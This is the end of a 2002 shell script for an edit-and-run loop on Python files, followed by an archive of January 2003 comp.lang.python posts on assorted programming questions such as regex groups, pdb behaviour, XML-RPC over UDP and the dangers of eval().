        PYTHONPATH - Searched for files to edit if not found in
                     the current directory.

        PYTHONTEMPFILE - Used to determine the name of a
                         temporary file when a specific
        Python source file is not passed on the command line.
        The default is a by the name '$PNnnnn' and are
        within the CWD.

  AUTHOR

        Tim Cargile (510) 914-4809 / 1/8/2002 / www.tecargile.com

  SEE ALSO

        Python(1), bash(1), ksh(1), vi()


  $PN(1)                                                   $PN(1)
  ------------------------------------------------------------------
EOF
}

#------------------------------------------------------------
main() {
#------------------------------------------------------------

    if process_args "$@"; then
        while [ true ]; do
            if [ -n "$do_edit_run" ];then
                if edit_py_file $curr_py_file;then
                    run_py_file $curr_py_file
                fi
            fi

            #-- Bottom of Edit/Run Loop Ops.
            if ! do_continue; then
                break
            fi
        done
    fi

    do_cleanup
}

#------------------------------------------------------------
find_py_file() {
#------------------------------------------------------------
    trace "find_py_file(): entry - arg1 = $1"

    find_py_file_bn=`basename $1`

    case $1 in
    ./*)
        file_str=$find_py_file_bn
        ;;
    *)
        file_str=$1
        ;;
    esac

    echo_stderr "Finding file: $file_str ..."

    if [ -r "$1" ];then
        echo $1
    else
        if [ -n "$PYTHONPATH" ];then
            trace "find_py_file(): searching = $PYTHONPATH"
            IFS_SAVE=$IFS
            IFS=:
            for dir in $PYTHONPATH;do
                if [ -r ${dir}/$find_py_file_bn ];then
                    found_py_file=${dir}/$find_py_file_bn
                    trace "find_py_file(): found."
                    echo $found_py_file
                    break
                else
                    trace "find_py_file(): NOT found."
                fi
            done
            IFS=$IFS_SAVE
        fi
    fi
}

#------------------------------------------------------------
edit_py_file() {
#------------------------------------------------------------
    if ! word_in_string $1 $edited_file_list; then
        if [ -n "$edited_file_list" ];then
            edited_file_list="$edited_file_list $1"
        else
            edited_file_list="$1"
        fi
    fi
    eval $py_editor $1 #-- Edit the Python File
    return $?
}

#------------------------------------------------------------
run_py_file() {
#------------------------------------------------------------
    if [ -n "$1" -a -r "$1"  ];then
        exec_str="$python_exec $python_opts $1 $py_file_args\
 >${1}.out 2> ${1}.err"
    
        echo "Running: $exec_str ..."

        eval $exec_str

        if [ -s ${1}.err ];then
            eval $PAGER ${1}.err
        fi

        if [ -s ${1}.out ];then
            eval $PAGER ${1}.out
        fi
    else
        if [ ! -n "$1" ];then
            echo_stderr "$PN: run_py_file(): null file name (internal error)"
        elif [ ! -r "$1" ];then
            echo "$PN: file: $1 not found - did not run."
        elif [ ! -s "$1" ];then
            echo "$PN: file: $1 is empty - did not run."
        fi
    fi
}

#------------------------------------------------------------
do_continue() {
#------------------------------------------------------------
    echo "---------------------------------------------------"
    echo "Current File: $curr_py_file"
    echo "Current Args: $py_file_args"
    echo "Edited Files: $edited_file_list"
    echo "Python Opts:  $python_opts"
    echo "---------------------------------------------------"

    echo_no_lf "Continue [Y|n] | ![cmd] | new_file [args] ?: "
    read continue

    if [ -z "$continue" ];then
        do_edit_run=t
        return 0
    fi

    unset do_edit_run

    case $continue in
    N|n)
        return 1
        ;;
    Y|y)
        do_edit_run=t
        ;;
    !)
        eval $shell_exec
        ;;
    !*)
        shell_cmd=`echo $continue | sed -e 's/^!//'`
        trace "do_continue(): shell_exec = $shell_exec shell_cmd = $shell_cmd"
        exec_str="$shell_exec -c \"$shell_cmd\""
        eval $exec_str
        #eval $shell_exec -c "$shell_cmd"
        ;;
    *)
        #---
        #--- New Current File Implied.  Parse filename and arguments
        #---
        new_py_file=`echo $continue | sed -e 's/^ .*//'|cut -d' ' -f1`
        new_py_file_args=`echo $continue | sed -e "s/^$new_py_file//"`

        trace "do_continue(): new_py_file = $new_py_file"
        trace "do_continue(): new_py_file_args = $new_py_file_args"

        if set_curr_py_file $new_py_file; then
            py_file_args=$new_py_file_args
            do_edit_run=t
        else
            echo "Could not find/create file: $new_py_file."
            break
        fi
    esac

    return 0
}

#------------------------------------------------------------
create_file() {
#------------------------------------------------------------
    file_arg=$1
    if [ ! -s $file_arg ];then
        echo_no_lf "File: $file_arg not found.  Create it? [Y|n]: "
        read create

        if [ -z "$create" -o "$create" = Y -o "$create" = y ];then
            touch $file_arg
            return 0
        else
            return 1
        fi
    fi
}

#------------------------------------------------------------
set_curr_py_file() {
#------------------------------------------------------------
    trace "set_curr_py_file(): entry"

    curr_py_file_save=$curr_py_file

    py_file_dn=`dirname $1`
    py_file_bn=`basename $1 .py`
    curr_py_file=${py_file_dn}/${py_file_bn}
    curr_py_file=`append_suffix $curr_py_file .py`

    found_py_file=`find_py_file $curr_py_file`

    if [ -n "$found_py_file" ];then
        curr_py_file=$found_py_file
    else
        trace "set_curr_py_file(): curr_py_file not found."

        case $1 in
        /*)
            trace "set_curr_py_file(): full path file name $1"
            if [ ! -d $py_file_dn ];then
                echo "Cannot create file: $1.  Directory does not exist."
                curr_py_file=$curr_py_file_save
                return 1
            fi
            ;;
        esac

        if create_file $curr_py_file; then
            return 0
        else
            curr_py_file=$curr_py_file_save
            return 1
        fi
    fi

    return 0
}

#------------------------------------------------------------
process_args() {
#------------------------------------------------------------
    trace "process_args(): entry"

    unset py_file_arg_in

    if [ $# -gt 0 ];then
        if [ $# -eq 1 -a $1 = "-h" ];then
            usage;exit 1
        fi

        if [ $# -eq 1 -a $1 = "-help" ];then
            cat_man_page;exit 1
        fi
    fi

    while [ $# -ge 1 ];do
        arg=$1
        trace "process_args(): arg = $arg"

        case $arg in
        -*)
            if [ -z "$py_file_arg_in" ]; then
                python_opts="$python_opts $arg"
            fi
            ;;  
        *)
            if [ -z "$py_file_arg_in" ]; then
                if ! set_curr_py_file $arg; then
                    echo_stderr "Invalid filename argument: $arg"
                fi
                py_file_arg_in=t
            else
                py_file_args="$py_file_args \"$arg\""
            fi

            ;;  
        esac

        shift
    done

    if [ -z "$curr_py_file" -a -n "$py_file_arg_in" ];then
        while [ -z "$curr_py_file" ];do
            msg_str="Enter File Name [args] (or Enter to exit): "
            echo_no_lf "$msg_str"
            read inp_file

            if [ -z "$inp_file" ];then
                do_cleanup; exit 1
            fi

            inp_py_file=`echo $inp_file | sed -e 's/^ .*//'|cut -d' ' -f1`
            inp_py_file_args=`echo $inp_file | sed -e "s/^$inp_py_file//"`
            trace "process_args(): inp_py_file_args = $inp_py_file_args"

            if set_curr_py_file $inp_py_file -a -n $curr_py_file ;then
                py_file_args=$inp_py_file_args
                trace "process_args(): inp_py_file_args = $inp_py_file_args"
                break
            fi
        done
    elif [ ! "$curr_py_file" ];then
        echo "Defaulting current file to temp file: $tmp_py_file."
        touch $tmp_py_file
        if ! set_curr_py_file $tmp_py_file;then
            echo_stderr "$PN: Cannot create tempory file: $tmp_py_file."
        fi
    fi

    if [ -z "$python_opts" ];then
        if [ -n "$PYTHONOPTIONS" ];then
            python_opts=$PYTHONOPTIONS
        fi
    fi

    trace "process_args(): return 0"

    do_edit_run=t
    return 0
}

#------------------------------------------------------------
word_in_string() {
#------------------------------------------------------------
    wis_word_arg=$1
    shift
    for word in $*;do
        if [ "$word" = "$wis_word_arg" ]; then
            return 0
        fi
    done

    return 1
}

#------------------------------------------------------------
do_cleanup() {
#------------------------------------------------------------
    #---
    #--- Delete all empty output files
    #---

    for file in $edited_file_list;do
        trace "do_cleanup(): processing: $file"

        if [ ! -s "${file}.out" ];then
            rm -f ${file}.out
        fi
        if [ ! -s "${file}.err" ];then
            rm -f ${file}.err
        fi
    done
}

#------------------------------------------------------------
echo_stderr() {
#------------------------------------------------------------
    echo "$*" >&2
}

#------------------------------------------------------------
echo_no_lf() {
#------------------------------------------------------------
    echo "$*" | tr -d '\012'
}

#------------------------------------------------------------
append_suffix() { # -- arg1 = word, arg2 = desired suffix
#------------------------------------------------------------
    if [ $# -lt 2 ];then
        echo_stderr "$PN: append_suffix(): invalid arg count: $#"
        exit 1
    fi
    case $1 in
        *$2) echo $1;;
        *) echo "${1}${2}"
    esac
}

#------------------------------------------------------------
trace() {
#------------------------------------------------------------
    if [ -n "$SH_TRACE" ];then
        echo_stderr "$PN TRACE: $*"
    fi
}

#------------------------------------------------------------
usage() {
#------------------------------------------------------------
    cat <<- EOF >&2
usage: $PN [python options] [python_file_name] [python file arguments]

       $PN -h

       $PN -help
EOF
}


#------------------------------------------------------------
#--- Init. Variables
#------------------------------------------------------------
unset edited_file_list python_opts py_file_args curr_py_file

PN=`basename $0`

if [ -z "$PAGER" ];then
    PAGER=more
fi

if [ -z "$PYTHONEXEC" ];then
    python_exec=python
else
    python_exec=$PYTHONEXEC
fi
if [ -z "$PYTHONeditor" ];then
    tmp_py_file=/tmp/${PN}$$
else
    tmp_py_file=$PYTHONTEMPFILE
fi

if [ -z "$PYTHONEDITOR" ];then
    py_editor=vi
else
    py_editor=$PYTHONEDITOR
fi

if [ -z "$PYTHONTEMPFILE" ];then
    tmp_py_file=${PN}$$
    #tmp_py_file=/tmp/${PN}$$
else
    tmp_py_file=$PYTHONTEMPFILE
fi

tmp_py_file=`append_suffix $tmp_py_file .py`

if [ -n "$SHELL" ];then
    shell_exec=$SHELL
else
    shell_exec=ksh
fi

trap "echo_stderr $PN: Trap! Exiting.; do_cleanup; exit 1" 1 2 3

main "$@"



From max at alcyone.com  Tue Jan 14 21:11:02 2003
From: max at alcyone.com (Erik Max Francis)
Date: Tue, 14 Jan 2003 18:11:02 -0800
Subject: passwords to CGI
References: <cb035744.0301140219.590608ae@posting.google.com> <7xbs2kt246.fsf@ruckus.brouhaha.com> <3E23F3DA.EB485C59@alcyone.com> <7x7kd83pmc.fsf@ruckus.brouhaha.com>
Message-ID: <3E24C336.C51EDD2A@alcyone.com>

Paul Rubin wrote:

> It's ok for some applications but not others.  That's a matter for the
> application developer to decide.  Think of how many unencrypted voice
> phone calls made every day.  Those are also vulnerable to (legal or
> illegal) wiretapping, but most people think phones are secure enough
> for most conversations.

True, but many of those conversations don't involve private information.
Some do.  We're specifically talking about a "conversation" that
involves private information, i.e. passwords.

> If you're using SSL, then it encrypts any HTTP Basic auth passwords
> just like it encrypts the other http traffic.

Well, sure.  That's why I recommended using SSL.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Virtue has never been as respectable as money.
\__/ Mark Twain
    REALpolitik / http://www.realpolitik.com/
 Get your own customized newsfeed online in realtime ... for free!



From Kyler at news.Lairds.org  Fri Jan 10 09:41:46 2003
From: Kyler at news.Lairds.org (Kyler Laird)
Date: Fri, 10 Jan 2003 14:41:46 GMT
Subject: How do I get to *all* of the groups of an re search?
References: <sl51f-6dj.ln1@news.lairds.org> <v1titmb0454v58@corp.supernews.com>
Message-ID: <oe23f-ta3.ln1@news.lairds.org>

On Fri, Jan 10, 2003 at 08:33:41AM -0500, Cameron Laird wrote:

> >How do I get to the other groups that were matched? 

> Oh, it's matching all the groups.

Yes, I realize that.  I just want to *access* those matched groups.

> Does the code below help
> explain why?

It verifies that the group is being matched, but it doesn't get me
any closer to the missing groups.

> I'm clumsy with REs--I don't immediately see how to achieve
> your desired result.  I can quickly observe that
>   import re
> 
>   text = 'foo foo1 foo2 bar bar1 bar2 bar3'
> 
>   test_re = re.compile('([a-z]+)(( \\1[0-9]+)+)')
> 
>   print test_re.findall(text) 
> yields
>   [('foo', ' foo1 foo2', ' foo2'), ('bar', ' bar1 bar2 bar3', ' bar3')]

Sure, I can do that but then I have to parse the second group
again.  In this case it's fairly trivial, but in my application
there is a lot of junk in between each of the groups.

The text I'm matching is more like this.
	<a href="foo.html">
	blah blah blah
	<img src="fooabc.jpg">
	blah blah
	<img src="foocde.jpg">
	more stuff
	</a>
I want [('foo', ['fooabc', 'foocde'])].  I have no problem with
getting the RE to match everything.  It's just getting to all of
the matched groups that's stopping me.

If I use the RE you gave, I'll end up with something like this.
	[('foo', ' blah blah blah <img src="fooabc.jpg"> blah blah <img src="foocde.jpg">', 'foocde')]
That's going to require me to reprocess the second element.  It's
inefficient and ugly.  Worse, it's not what I expected from the
description in the documentation.

--kyler



From ulbi at ivs.tu-berlin.de  Tue Jan 21 06:31:45 2003
From: ulbi at ivs.tu-berlin.de (Andreas Ulbrich)
Date: Tue, 21 Jan 2003 12:31:45 +0100
Subject: How to send output to file
In-Reply-To: <mailman.1043139217.9660.python-list@python.org>
References: <mailman.1043139217.9660.python-list@python.org>
Message-ID: <b0jb25$i9a$1@mamenchi.zrz.TU-Berlin.DE>

A wrote:
> Hi All,
> I use httplib module.
> By h.set_debuglevel(1) I start debugging but the output is written to DOS window.
> How can  I divert the output to file instead.
> Thank you for help.
> Ladislav
> 
> 
> 
asign a file object to sys.stdout and/or sys.stderr




From nav at adams.patriot.net  Mon Jan  6 09:20:14 2003
From: nav at adams.patriot.net (Nick Vargish)
Date: 06 Jan 2003 09:20:14 -0500
Subject: Truth in dating (was: HELP! Must choose language!)
References: <20030101042101.1615.84075.Mailman@mail.python.org> <mailman.1041399123.31276.python-list@python.org> <v1gdaicshqmr47@corp.supernews.com> <mailman.1041812790.32002.python-list@python.org> <3E18E6F8.8C5BFEEA@alcyone.com>
Message-ID: <yyyznqecqch.fsf@adams.patriot.net>

Erik Max Francis <max at alcyone.com> writes:

> (The object orientation in Perl, ugh.)

They added object orientation to Perl?

Nick

p.s. I'm joking! I know about it, I just refuse to look at it.

-- 
#include<stdio.h> /* SigMask 0.3 (sig.c) 19990429 PUBLIC DOMAIN "Compile Me" */
int main(c,v)char *v;{return !c?putchar(*v-1)&&main(0,v+ /* Tweaks welcomed. */
1):main(0,"Ojdl!Wbshjti!=obwAqbusjpu/ofu?\v\1");}  /* build: cc -o sig sig.c */



From bruce at hoult.org  Wed Jan  1 04:02:57 2003
From: bruce at hoult.org (Bruce Hoult)
Date: Wed, 01 Jan 2003 22:02:57 +1300
Subject: No macros in Python
References: <c42e062e.0212132052.58a992f7@posting.google.com> <3dfb28a5@news.vip.fi> <x7u1hgiq6t.fsf@guru.mired.org> <3DFCDAB5.5FBA7730@engcorp.com> <x78yyqiwle.fsf@guru.mired.org> <mailman.1040009301.27914.python-list@python.org> <x74r9eil56.fsf@guru.mired.org> <mailman.1040020314.12450.python-list@python.org> <x7isxthgxh.fsf@guru.mired.org> <mailman.1040072065.14055.python-list@python.org> <x7vg1tfwvo.fsf@guru.mired.org> <mailman.1040077707.23487.python-list@python.org> <x7isxtfq1n.fsf@guru.mired.org>
Message-ID: <bruce-22CDEC.22025701012003@copper.ipg.tsnz.net>

In article <x7isxtfq1n.fsf at guru.mired.org>, Mike Meyer <mwm at mired.org> 
wrote:

> > |Another prettier way is:
> > |        val = (foo, bar)[pred]
> > |but it evaluates both foo and bar regardless of pred.
> > In other words, this is not semantically a ternary operator.  At least
> > not the one that C programmers are familiar with.  But that spelling
> > does have a certain elegance where the extra evaluation doesn't matter.
> 
> Actually, I became convinced early on in this discussion that Python
> needs two different kinds of macros, because it has two different
> levels of code in it. The "with_output_to_file" is a statement-level
> macro. At the expression level, you could go a long way without adding
> any new syntax to the language.

Right.  In fact due to the conventional syntax, Dylan has *three* 
syntaxes for macro invocation to Common Lisp's one:

 - function macros look like function calls: name( ...args... )

 - statement macros look like existing statements: they start with the 
   name of the macro and end with "end" (then optionally the name of
   the macro)

 - declaration macros look like declarations: they start with "define"
   then some optional adjectives then the name of the macro then the
   name of the thing being defined, and end with "end" (then optionally
   the name of the macro) (then optionally the name of the thing being
   defined).

You can make new syntax using macros, but only in clearly defined and 
limited ways that fit in with the existing syntax.


> I.e., add a "__macro__" function that works similar to the 
> "__staticmethod__" function that wraps a function so that it's now a 
> macro. You'd also have to extend the vm to recognize macro objects as 
> such, because it would have to not evaluate the compiled code objects 
> of the arguments, and tack on the needed extra arguments.

Uhh ... it'd be better to expand them at parse time I expect.

-- Bruce



From Oschler at earthlink.net  Tue Jan  7 11:29:41 2003
From: Oschler at earthlink.net (Robert Oschler)
Date: Tue, 07 Jan 2003 16:29:41 GMT
Subject: These are discouraging stats to Perlistas & Pythonistas...
References: <776e0325.0301070721.7405a312@posting.google.com>
Message-ID: <VfDS9.4230$Fj2.2514015@news2.news.adelphia.net>

"Sara" <genericax at hotmail.com> wrote in message
news:776e0325.0301070721.7405a312 at posting.google.com...
> Looks like Bill is successfully creating his "clone army".
>
<snip>
>
> Recent DICE survey resuts:
>
> >Number of Job Listings by Programming Language (January 3, 2003)
> >
> >               monster.com dice.com %
> >
> >  SQL          5000        2486     24.06%
> >
> >  ASP          2156        2480     14.90%
> >
> >  Java         2664        1862     14.55%
> >
> >  C++          2046        1480     11.33%
> >
> >  Visual Basic 2037        1095     10.07%
> >
> >  Perl         925         548      4.73%
> >
> >  Javascript   914         489      4.51%
> >
> >  Cobol        595         532      3.62%
> >
> >  SAS          805         269      3.45%
> >
> >  C#           284         179      1.49%
> >
> >  Ada          377         65       1.42%
> >
> >  RPG          248         163      1.32%
> >
> >  PowerBuilder 155         106      0.84%
> >
> >  PHP          189         30       0.70%
> >
> >  Delphi       157         55       0.68%
> >
> >  Fortran      121         49       0.55%
> >
> >  LabVIEW      108         27       0.43%
> >
> >  Tcl          73          33       0.34%
> >
> >  Python       55          32       0.28%
> >
> >  Smalltalk    41          30       0.23%
> >
> >  Rexx         33          25       0.19%
> >
> >  Pascal       28          17       0.14%
> >
> >  Lisp         12          9        0.07%
> >
> >  SML          7           6        0.04%
> >
> >  Haskell      6           6        0.04%
> >
> >  Caml         0           0        0.00%
> >


I can't look at dice.com anymore, too depressing.  Some appx stats:

Date    C++ jobs    Java jobs

3/2000    42000    31000
10/2003    2200    2800

That's right, almost a 20 to 1 loss of job reqs in C++, and 10 to 1 in Java.
Also note, Java is now in the lead over C++

I hate the dot-bust.

thx





From juneaftn at REMOVETHIShanmail.net  Fri Jan 10 20:01:11 2003
From: juneaftn at REMOVETHIShanmail.net (Changjune Kim)
Date: Sat, 11 Jan 2003 10:01:11 +0900
Subject: python 2.3a1 pdb broken? or is it a feature?
References: <ba1e306f.0301090952.2a5fe0ba@posting.google.com>
Message-ID: <avnqd2$id4$1@news.hananet.net>

"Jane Austine" <janeaustine50 at hotmail.com> wrote in message
news:ba1e306f.0301090952.2a5fe0ba at posting.google.com...
> I'm running python 2.3a1 on a Win32 machine.
>
> pdb's behaviour seems to have been changed from 2.2*.
>

Yes.

> "user_call" method is added, and it's called automatically
> for every function/method call when I set a breakpoint somewhere
> else and "continue".
>

It had been omitted but now is overridden in 2.3a1.

> For example:
>
> <foobar.py>
> ------------------------
> def a():
>     print "a..."
>     b()
> def b():
>     print "b..."
>     c()
> def c():
>     print "c..."
>
> -------------------------
> >>> pdb.run("a()")
> ...
> (Pdb) b foobar:2
> Breakpoint 1 at foobar.py:2
> (Pdb) c
> --Call--
> > c:\...\foobar.py(1)a()
> -> def a():
> (Pdb) cont
> > c:\...\foobar.py(2)a()
> -> print "a..."
> (Pdb) continue
> a...
> --Call--
> > c:\...\foobar.py(4)b()
> -> def b():
> (Pdb)
>
> I desparately want to Continue.

user_call is called whenever there is _any_ break and the
running point enters a function/method.

I don't have a clue for what reason user_call method is overridden by
default
in pdb.py now but you could inherit and "pass" it or simply comment it out.

>
> Jane




From hwlgw at hotmail.com  Fri Jan 24 09:35:00 2003
From: hwlgw at hotmail.com (Will Stuyvesant)
Date: 24 Jan 2003 06:35:00 -0800
Subject: Something like asynchronous XML-RPC possible?
References: <cb035744.0301240308.25034fed@posting.google.com> <3E312626.303@v.loewis.de>
Message-ID: <cb035744.0301240635.119ee4f2@posting.google.com>

[Martin v. L?wis]
> 
> Not necessarily: you can implement synchronous communication on top of 
> UDP as well (just as you can implement asynchronous methods on top of TCP).
> 

Thank you for your response, and I agree with you.  But see my other
response (to Irmen de Jong) as to why I need UDP.  Has to do with a
real-life protocol, called "dowhatisay".

> Traditionally, the usage pattern would be different:
> 
> p2 = remote_async_process(url, portnumber)
> request = p2.method(params)
> while not request.done():
>    do_other_stuff()
> result = request.result()
> 

I have already implemented usage patterns like this one, simulating
asynchronous communication with synchronous communication.  Among
others there is one that spawns a thread that catches the return
value.  That one I also use for combining listening for synchronously
implemented XMLRPC operation calls with Tkinter.  But all that is not
good enough.  The usage pattern I have to give is::

  r = remote_process(url, port, ...)
  r.sendEvent(event)

where ``event`` preferably is allowed to be an instance object of some
Event class.

> But you have already outlined a solution! This is certainly all possible 
> in plain Python, using existing libraries. What part is confusing to 
> you? Just try to implement this step-by-step, starting with how you 
> would implement your sendEvent function (traditionally, the client side 
> is easier to implement than the server side).
> 
> However, I would question that using XML-RPC on top of http is useful, 
> since you are inventing a proprietary protocol, anyway: You could just 
> as well send plain strings, or pickles.
> 

Well I just do not understand how to use the UDPRequestHandler (or
something like that) and HTTPServer(protocol = "UDP") and registering
an instance object with it so its "methods" act like event handlers
(caller not blocking and no return value send back to caller).  I did
not find much examples in the docs, and the examples I found were all
about TCP.  There is one example called "Heartbeat" that does UDP but
I would have to rewrite the "requesthandler" and to provide a
registering mechanism like SimpleXMLRPCServer has.  Uh oh.  This just
gets over my head.  Am I making sense here? :)


server software something could be something like::

 class MyRemoteComponent:  # just an example class
     def sendEvent(self, event):
         print event, "received!"    # only visible serverside

 class XMLRPCviaUDP( fooRequestHandler, barHTTPServer ) :
     def __init__(self, url, port): 
         print "???"
     def register(self, instanceObject):
         print "I am serving the methods of instanceObj as event
handlers",
         print "I am not going to give back results."

 x = XMLRPCviaUDP("http://myhost.com/~mylogin", 10000)
 r = MyRemoteComponent()
 x.register(r)

or maybe pass r in the constructor of XMLRPCviaUDP.  Not having to
import any libraries that do not come with the default python 1.5.2
installation would be great.  I have the feeling its possible.  Its
just that at this point I do not understand the python libraries that
could be used well enough to do it.  So meanwhile I will spend some
time reading their sourcecode if I can find it.

client software something like outlined earlier.  The thing to write
here of course is the "remote_process" function.

So its a coding contest now.  Any help would be greatly appreciated!



From oren-py-l at hishome.net  Thu Jan  2 02:58:56 2003
From: oren-py-l at hishome.net (Oren Tirosh)
Date: Thu, 2 Jan 2003 02:58:56 -0500
Subject: 2.3a1: importhooks oddity
In-Reply-To: <ySNQ9.8812$9N5.914447@newsread2.prod.itd.earthlink.net>
References: <ySNQ9.8812$9N5.914447@newsread2.prod.itd.earthlink.net>
Message-ID: <20030102075856.GA190@hishome.net>

On Thu, Jan 02, 2003 at 02:55:26AM +0000, Hans Nowak wrote:
... 
> Is this a bug, a feature, or am I doing something wrong?

I think it's most likely a bug. File a bug report on sourceforge. 

	Oren




From vze4rx4y at verizon.net  Sat Jan 25 21:51:22 2003
From: vze4rx4y at verizon.net (Raymond Hettinger)
Date: Sun, 26 Jan 2003 02:51:22 GMT
Subject: Security/Safety question re: eval() and dicts
References: <mailman.1043539247.26956.python-list@python.org> <7xadhoaev7.fsf@ruckus.brouhaha.com>
Message-ID: <K2IY9.1006$qb1.158@nwrddc01.gnilink.net>

"Paul Rubin" <phr-n2003b at NOSPAMnightsong.com> wrote in message
> andy <andy at eastonwest.co.uk> writes:
> > Currently, this is decoded by using
> >
> >     dict=eval(request)
>
> Don't do that.  Just send a bunch of name-value pairs instead.

Agreed!

Then create your dictionary with dict(itemlist) instead of eval().


Raymond Hettinger






From johnochiltree at blueyonder.co.uk  Thu Jan  2 15:20:36 2003
From: johnochiltree at blueyonder.co.uk (John Ochiltree)
Date: Thu, 02 Jan 2003 20:20:36 +0000
Subject: Downcast (I know it sounds silly, but ...)
References: <cX0R9.72667$Ou4.2409063@twister2.libero.it>
Message-ID: <ta1R9.12$wh.8@news-binary.blueyonder.co.uk>

Rocco Rossi wrote:

> I was wondering if it is possible in Python to do something analogous to
> downcasting in a statically typed language like C++. I mean is it possible
> to take an instance of a base class and magically transform it into an
> instance of some derived class eventually fixing things (like the missing
> attribute data)?
> 
> Thanx.
Yes



From clspence at one.net  Wed Jan 15 18:23:09 2003
From: clspence at one.net (Chris Spencer)
Date: 15 Jan 2003 17:23:09 -0600
Subject: Interesting problem comparing strings with integer values...
Message-ID: <cvqb2vge6101f1l0sp20pmvdfgql84r1nt@4ax.com>

	Due to certain design constraints, I must be able to store both integers
and floating point numbers as strings.  These strings must be able to be
compared correctly, so things like: "999"<"3432" are not possible.
	One option we thought of was padding the strings with zeros, so things
like: "00000999"<"00003432" would work.  This seems a bit hack-y to me.  I was
wondering if anyone has a more elegant solution to the problem?

Chris.




From paul at mackinney.net  Wed Jan 22 12:19:16 2003
From: paul at mackinney.net (Paul Mackinney)
Date: Wed, 22 Jan 2003 09:19:16 -0800
Subject: How to get a running process to recompile certain scripts
Message-ID: <20030122171916.GA632@dog.mackinney.net>

I'm tinkering with a custom archiver for Mailman. My scripts are getting
called just fine, but I'd like to be able to update them without having
to halt Mailman.

The current call (from Mailman's Archiver.py script) is:

	if <the mailing list is my test list>:
      from Mailman.Archiver.PaulArchiver import PaulArchive
      PaulArchive(self, msg)

Right now PaulArchive.py is a single script containing the PaulArchive
method and all my other code. It's in the Mailman src folder, and when I
change it I stop Mailman, rebuild, and start it again.

I'd like to replace it with something 
like:

  # PaulArchiver.py
	sys.path.append(<my working dir>)

	def PaulArchive.py(mailinglist, message):
	  MyWorkingScript(<params>)

The thing I don't know how to do is to have changes to the scripts in
<my working dir> recompiled without restarting Mailman since it's a
working server for other lists (that use the regular archiver).

TIA, Paul
-- 
Paul Mackinney
paul at mackinney.net




From peter at engcorp.com  Tue Jan 28 19:41:27 2003
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 28 Jan 2003 19:41:27 -0500
Subject: py2exe - return information from .exe program
References: <59e5b87.0301281315.7802eaf3@posting.google.com>
Message-ID: <3E372337.B7617D53@engcorp.com>

Miranda Evans wrote:
> 
> Assume xyz.exe is a program that was produced from  xyz.py by running
> the py2exe utility.  Currently, xyz.exe displays information on the
> screen, but it does not return information to the calling program.
> Can xyz.py be modified so that xyz.exe returns a value (e.g. a string)
> to the process that called it?  Can anyone point me to a sample .py
> script which, when 'compiled' with py2exe produces a .exe that returns
> information to the calling program?  Thank you.

What is the "calling program" in this case?  Not all programs have
such a concept of "returned information", although by far the most 
common is simply to set a "result code" which is a simple integer
value.  For that, just use sys.exit(n) when you terminate the 
script.

-Peter



From tdelaney at avaya.com  Sun Jan 12 20:38:45 2003
From: tdelaney at avaya.com (Delaney, Timothy)
Date: Mon, 13 Jan 2003 12:38:45 +1100
Subject: pure virtual functions in python
Message-ID: <B43D149A9AB2D411971300B0D03D7E8BF0A82F@natasha.auslabs.avaya.com>

> From: polux [mailto:polux2001 at wanadoo.fr]
> 
> how to emulate them ?
> I mean, how to force a user to redifine some functions in a derivated 
> class ?

Most responses have used `NotImplementedError`. This is fine, and useful if
you want the abstract class to document what methods it defines.

The other approach is to document what attributes/methods other functions
require their parameters to have. This achieves the same effect (but throws
an `AttributeError` rather than a `NotImplementedError`), but is in many
ways more versatile.

I have never used `NotImplementedError` in my python code. Why bother?

Tim Delaney




From hancock at anansispaceworks.com  Tue Jan 21 06:35:58 2003
From: hancock at anansispaceworks.com (Terry Hancock)
Date: Tue, 21 Jan 2003 11:35:58 GMT
Subject: max() of a list of tuples
References: <3e2d27c6$1_1@news.uni-bielefeld.de>
Message-ID: <ygaX9.4400$bL4.431294@newsread2.prod.itd.earthlink.net>

Mario Wehbrink wrote:
> i have a list of tuples that look like:
> [(1,3,5), (8,16,2), (2,56,4)]
> 
> what i am interested, in is the tuple with the greatest value in pos 3.
> So in this case it would be (1,3,5). Is there a way to tell
> max(mylistoftuples) to only look at the last position of the tuples?

Don't know if this is the most elegant solution, but it does work:

l = [(1, 3, 5), (8, 16, 2), (2, 56, 4)]
z = zip(*l)
z  # prints [(1, 8, 2), (3, 16, 56), (5, 2, 4)]
l[list(z[2]).index(max(z[2]))]  # prints (1, 3, 5)

Ugly, but:

* zip combines sequences into a list of tuples
* one of these contains the sequence you want to test
* we find the maximum and what its index in the sequence is
* we use that to look up the index in the original list

Maybe someone will have a more elegant solution.

Cheers,
Terry

-- 
Anansi Spaceworks
http://www.anansispaceworks.com



From member16943 at dbforums.com  Tue Jan  7 00:41:27 2003
From: member16943 at dbforums.com (Tetsuo)
Date: Tue, 07 Jan 2003 05:41:27 +0000
Subject: Why does this not work?
Message-ID: <2355358.1041918087@dbforums.com>

You know you suck if the calculator you are making isn't required to add
2 and 2, and you still can't get it to work.

s = 0
c = 0
def halfadder(a, b):
    if a and b in (0, 1):
        if a and b == 1:
            s = 1
            c = 0
            print s, c
        elif a and b == 0:
            s = 0
            c = 0
            print s, c
        else:
            s = 0
            c = 1
            print s, c
    else:
        print "Number out of range! Enter 0 or 1, please."

halfadder(1,1)
halfadder(1,0)
halfadder(0,1)
halfadder(0,0)

--
Posted via http://dbforums.com



From user at domain.invalid  Tue Jan 28 18:09:08 2003
From: user at domain.invalid (ewalstad)
Date: Tue, 28 Jan 2003 23:09:08 GMT
Subject: Namespace problem? [Newbie]
Message-ID: <o4EZ9.965$vv.126617703@newssvr14.news.prodigy.com>

Hi all,

I'm messing around with SOAP.py, which needs xml.sax.make_parser()
I'm also using the python interpreter on my shell account on 
starship.python.net
I start the python interpreter from /home/crew/ewalstad/site-packages 
where I have the following the modules I need for SOAP:

[ewalstad at starship site-packages]$ pwd
/home/crew/ewalstad/site-packages
[ewalstad at starship site-packages]$ ll
total 172
lrwxrwxrwx    1 ewalstad ewalstad       16 Jan 28 16:59 SOAP.py -> 
./SOAPpy/SOAP.py
-rw-rw-r--    1 ewalstad ewalstad   141762 Jan 28 16:59 SOAP.pyc
drwxrwxr-x    9 ewalstad ewalstad     4096 Jan 28 16:27 SOAPpy
lrwxrwxrwx    1 ewalstad ewalstad       19 Jan 28 16:59 XMLname.py -> 
./SOAPpy/XMLname.py
-rw-rw-r--    1 ewalstad ewalstad     3586 Jan 28 16:59 XMLname.pyc

Here's my interpreter session (ip changed to protect the innocent):
[ewalstad at starship site-packages]$ python
Python 2.2.1 (#1, Jun 15 2002, 17:05:40)
